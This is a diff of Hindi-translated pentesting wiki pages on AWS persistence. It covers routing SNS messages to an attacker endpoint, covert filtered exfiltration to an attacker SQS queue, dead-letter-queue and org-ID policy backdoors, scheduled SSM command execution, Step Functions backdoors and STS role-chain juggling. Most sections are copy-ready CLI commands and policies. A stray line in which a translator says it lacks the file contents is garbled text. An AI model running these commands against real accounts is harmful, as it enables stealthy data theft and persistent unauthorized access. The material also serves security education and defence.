||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### सब्सक्राइबर बनाएँ
|
||||
|
||||
सभी topics से सभी संदेशों को exfiltrating जारी रखने के लिए, attacker सभी topics के लिए **subscribers बना सकता है**।
|
||||
|
||||
ध्यान दें कि यदि **topic is of type FIFO**, तो केवल प्रोटोकॉल **SQS** का उपयोग करने वाले subscribers ही उपयोग किए जा सकते हैं।
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
### MessageBody पर FilterPolicy के माध्यम से Covert, selective exfiltration
|
||||
|
||||
एक attacker जिसके पास किसी topic पर `sns:Subscribe` और `sns:SetSubscriptionAttributes` हैं, वह एक stealthy SQS subscription बना सकता है जो केवल उन संदेशों को आगे भेजता है जिनके JSON body एक बहुत संकुचित filter से मेल खाते हैं (उदाहरण के लिए, `{"secret":"true"}`). यह मात्रा और detection को कम करता है जबकि संवेदनशील रिकॉर्ड का exfiltration जारी रहता है।
|
||||
|
||||
**Potential Impact**: Covert, low-noise exfiltration केवल लक्षित SNS messages को victim topic से प्राप्त करना।
|
||||
|
||||
Steps (AWS CLI):
|
||||
- सुनिश्चित करें कि attacker SQS queue policy victim `TopicArn` से `sqs:SendMessage` की अनुमति देता है (Condition `aws:SourceArn` equals the `TopicArn`).
|
||||
- उस topic के लिए SQS subscription बनाएं:
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
|
||||
```
|
||||
|
||||
- Filter को message body पर लागू करें और केवल `secret=true` से मेल खाने दें:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
|
||||
```
|
||||
|
||||
- वैकल्पिक stealth: raw delivery सक्षम करें ताकि केवल raw payload receiver पर पहुंचे:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
|
||||
```
|
||||
|
||||
- Validation: दो संदेश publish करें और पुष्टि करें कि केवल पहला attacker queue को मिलता है। उदाहरण payloads:
|
||||
|
||||
```json
|
||||
{"secret":"true","data":"exfil"}
|
||||
{"secret":"false","data":"benign"}
|
||||
```
|
||||
|
||||
- Cleanup: unsubscribe करें और यदि persistence परीक्षण के लिए attacker SQS queue बनाया गया था तो उसे delete करें।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### संसाधन नीति का उपयोग करना
|
||||
|
||||
SQS में आपको IAM नीति के साथ **यह बताना होगा कि किसे पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को इंगित करना संभव है।\
|
||||
निम्नलिखित नीति AWS में सभी को **MyTestQueue** नामक कतार में सब कुछ एक्सेस करने की अनुमति देती है:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> आप हर बार जब एक नया संदेश कतार में डाला जाता है, तो **हमलावर के खाते में एक Lambda को ट्रिगर** कर सकते हैं (आपको इसे फिर से डालने की आवश्यकता होगी) किसी न किसी तरह। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### resource policy का उपयोग
|
||||
|
||||
SQS में आपको एक IAM policy के माध्यम से यह बताना होता है कि **किसे पढ़ने और लिखने की पहुँच है**। बाहरी अकाउंट्स, roles के ARN, या **यहां तक कि "\*"** निर्दिष्ट किया जा सकता है।\
|
||||
निम्नलिखित policy AWS में सभी को **MyTestQueue** नामक queue के सब कुछ तक पहुँच देती है:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> आप यहाँ तक कर सकते हैं कि हर बार जब queue में कोई नया संदेश डाला जाए तो हमलावर के खाते में मौजूद **Lambda को trigger करें** (आपको इसे re-put करना होगा)। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
### और SQS Persistence Techniques
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-backdoor-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-orgid-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,71 @@
|
||||
# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
SQS Dead-Letter Queues (DLQs) का दुरुपयोग करके पीड़ित स्रोत कतार से चुपके से डेटा निकाला जा सकता है, उसकी RedrivePolicy को attacker-controlled queue की ओर पॉइंट करके। कम maxReceiveCount और सामान्य प्रोसेसिंग फेल्यर्स को ट्रिगर करके या उनका इंतज़ार करके, संदेश स्वचालित रूप से attacker DLQ पर डायवर्ट हो जाते हैं बिना producers या Lambda event source mappings को बदले।
|
||||
|
||||
## Abused Permissions
|
||||
- sqs:SetQueueAttributes पीड़ित स्रोत कतार पर (RedrivePolicy सेट करने के लिए)
|
||||
- sqs:SetQueueAttributes attacker DLQ पर (RedriveAllowPolicy सेट करने के लिए)
|
||||
- तेज़ी के लिए वैकल्पिक: sqs:ReceiveMessage स्रोत कतार पर
|
||||
- सेटअप के लिए वैकल्पिक: sqs:CreateQueue, sqs:SendMessage
|
||||
|
||||
## Same-Account Flow (allowAll)
|
||||
|
||||
तैयारी (attacker account or compromised principal):
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create attacker DLQ
|
||||
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
|
||||
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Allow any same-account source queue to use this DLQ
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
|
||||
```
|
||||
निष्पादन (compromised principal के रूप में victim account में चलाएँ):
|
||||
```bash
|
||||
# 3) Point victim source queue to attacker DLQ with low retries
|
||||
VICTIM_SRC_URL=<victim source queue url>
|
||||
ATTACKER_DLQ_ARN=<attacker dlq arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
|
||||
```
|
||||
त्वरण (वैकल्पिक):
|
||||
```bash
|
||||
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
|
||||
for i in {1..2}; do \
|
||||
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --visibility-timeout 0; \
|
||||
done
|
||||
```
|
||||
I don't have the file contents. Please paste the markdown text from src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md that you want translated to Hindi (or confirm you want me to translate the entire file).
|
||||
```bash
|
||||
# 5) Confirm messages appear in attacker DLQ
|
||||
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
उदाहरण साक्ष्य (एट्रिब्यूट्स में शामिल हैं DeadLetterQueueSourceArn):
|
||||
```json
|
||||
{
|
||||
"MessageId": "...",
|
||||
"Body": "...",
|
||||
"Attributes": {
|
||||
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
|
||||
}
|
||||
}
|
||||
```
|
||||
## क्रॉस-एकाउंट वैरिएंट (byQueue)
|
||||
attacker DLQ पर RedriveAllowPolicy सेट करें ताकि केवल विशिष्ट victim source queue ARNs की अनुमति हो:
|
||||
```bash
|
||||
VICTIM_SRC_ARN=<victim source queue arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
|
||||
```
|
||||
## प्रभाव
|
||||
- गुप्त, टिकाऊ data exfiltration/persistence — यह स्वचालित रूप से विफल संदेशों को पीड़ित SQS source queue से हमलावर-नियंत्रित DLQ में मोड़कर करता है, न्यूनतम संचालनगत शोर के साथ और producers या Lambda mappings में किसी भी प्रकार का परिवर्तन किए बिना।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,38 @@
|
||||
# AWS - SQS OrgID Policy Backdoor
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
SQS queue resource policy का दुरुपयोग कर के aws:PrincipalOrgID condition का उपयोग करके किसी भी principal को जो target AWS Organization का हिस्सा है, चुपचाप Send, Receive और ChangeMessageVisibility अनुमति दी जा सकती है। यह एक org-scoped छिपा मार्ग बनाता है जो अक्सर उन नियंत्रणों से बच निकलता है जो सिर्फ explicit account या role ARNs या star principals को ही देखते हैं।
|
||||
|
||||
### Backdoor policy (attach to the SQS queue policy)
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "OrgScopedBackdoor",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"sqs:ReceiveMessage",
|
||||
"sqs:SendMessage",
|
||||
"sqs:ChangeMessageVisibility",
|
||||
"sqs:GetQueueAttributes"
|
||||
],
|
||||
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
|
||||
"Condition": {
|
||||
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### कदम
|
||||
- AWS Organizations API के साथ Organization ID प्राप्त करें।
|
||||
- SQS queue ARN प्राप्त करें और ऊपर दिए गए statement को शामिल करते हुए queue policy सेट करें।
|
||||
- उस Organization से संबंधित किसी भी principal के रूप में, queue में संदेश भेजें और प्राप्त करें ताकि access मान्य किया जा सके।
|
||||
|
||||
### प्रभाव
|
||||
- निर्दिष्ट AWS Organization के किसी भी account से SQS messages पढ़ने और लिखने के लिए Organization-wide छिपा हुआ पहुंच।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Using ssm:CreateAssociation for persistence
|
||||
|
||||
एक हमलावर जिसके पास अनुमति **`ssm:CreateAssociation`** है, वह SSM द्वारा प्रबंधित EC2 इंस्टेंस पर स्वचालित रूप से कमांड निष्पादित करने के लिए एक State Manager Association बना सकता है। इन एसोसिएशनों को एक निश्चित अंतराल पर चलाने के लिए कॉन्फ़िगर किया जा सकता है, जिससे ये इंटरैक्टिव सत्रों के बिना बैकडोर जैसी स्थिरता के लिए उपयुक्त हो जाते हैं।
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> यह स्थिरता विधि तब तक काम करती है जब तक EC2 इंस्टेंस को Systems Manager द्वारा प्रबंधित किया जा रहा है, SSM एजेंट चल रहा है, और हमलावर के पास संघ बनाने की अनुमति है। यह इंटरैक्टिव सत्रों या स्पष्ट ssm:SendCommand अनुमतियों की आवश्यकता नहीं है। **महत्वपूर्ण:** `--schedule-expression` पैरामीटर (जैसे, `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 मिनट का सम्मान करना चाहिए। तात्कालिक या एक बार के निष्पादन के लिए, `--schedule-expression` को पूरी तरह से छोड़ दें — संघ निर्माण के बाद एक बार निष्पादित होगा।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### ssm:CreateAssociation का उपयोग persistence के लिए
|
||||
|
||||
जिसके पास अनुमति **`ssm:CreateAssociation`** है, वह State Manager Association बना सकता है जो SSM द्वारा प्रबंधित EC2 instances पर ऑटोमेटिक रूप से commands निष्पादित करे। इन associations को तय अंतराल पर चलाने के लिए कॉन्फ़िगर किया जा सकता है, जिससे ये interactive sessions के बिना backdoor-like persistence के लिए उपयुक्त होते हैं।
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> यह persistence method तब तक काम करती है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent चल रहा है, और attacker के पास associations बनाने की permission है। इसे interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं है। **Important:** `--schedule-expression` parameter (e.g., `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 minutes का पालन करना होगा। तुरंत या एक-बार के execution के लिए, `--schedule-expression` को पूरी तरह से हटा दें — association बनते ही यह एक बार execute होगा।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - Step Functions Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
एक स्टेप फंक्शन में बैकडोर करें ताकि यह किसी भी पर्सिस्टेंस ट्रिक को निष्पादित कर सके, ताकि हर बार जब इसे चलाया जाए, यह आपके दुर्भावनापूर्ण स्टेप्स को चलाए।
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
यदि AWS खाता स्टेप फंक्शंस को कॉल करने के लिए उपनाम का उपयोग कर रहा है, तो एक उपनाम को संशोधित करना संभव होगा ताकि स्टेप फंक्शन के नए बैकडोर्ड संस्करण का उपयोग किया जा सके।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - Step Functions Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
एक step function को Backdoor करें ताकि यह किसी भी persistence trick को अंजाम दे सके — इसलिए हर बार जब यह execute होगा यह आपके malicious steps चलाएगा।
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
यदि AWS account aliases का उपयोग करके step functions को call कर रहा है, तो किसी alias को modify करके step function के एक नए backdoored version का उपयोग कराना संभव होगा।
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - STS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
अधिक जानकारी के लिए पहुँचें:
|
||||
अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
../../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Assume role token
|
||||
|
||||
अस्थायी टोकन को सूचीबद्ध नहीं किया जा सकता है, इसलिए एक सक्रिय अस्थायी टोकन बनाए रखना स्थायीता बनाए रखने का एक तरीका है।
|
||||
Temporary tokens सूचीबद्ध नहीं किए जा सकते, इसलिए एक active temporary token बनाए रखना persistence बनाए रखने का एक तरीका है।
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
@@ -28,9 +28,9 @@ aws sts get-session-token \
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), अक्सर स्थायीता बनाए रखने के लिए उपयोग किया जाता है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से **चक्रीय तरीके** से प्रारंभिक भूमिका पर लौटते हुए। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है।
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), यह अक्सर stealth persistence बनाए रखने के लिए उपयोग किया जाता है। इसमें वह क्षमता शामिल है कि **assume a role which then assumes another**, जो संभावित रूप से प्रारंभिक role में **cyclical manner** में वापस लौट सकती है। प्रत्येक बार जब कोई role assume किया जाता है, credentials के expiration field को refresh किया जाता है। परिणामस्वरूप, यदि दो roles को एक-दूसरे को आपस में assume करने के लिए configure किया गया है, तो यह सेटअप credentials के perpetual renewal की अनुमति देता है।
|
||||
|
||||
आप इस [**tool**](https://github.com/hotnops/AWSRoleJuggler/) का उपयोग करके भूमिका श्रृंखला को बनाए रख सकते हैं:
|
||||
You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -40,11 +40,11 @@ optional arguments:
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
> [!CAUTION]
|
||||
> ध्यान दें कि [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) स्क्रिप्ट उस Github रिपॉजिटरी से सभी तरीकों को नहीं ढूंढती है जिनसे एक भूमिका श्रृंखला को कॉन्फ़िगर किया जा सकता है।
|
||||
> ध्यान दें कि [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) स्क्रिप्ट उस Github रिपॉज़िटरी से रोल चेन को कॉन्फ़िगर करने के सभी तरीकों को नहीं ढूँढती है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>PowerShell से भूमिका जुगलिंग करने के लिए कोड</summary>
|
||||
<summary>PowerShell से Role Juggling करने के लिए कोड</summary>
|
||||
```bash
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user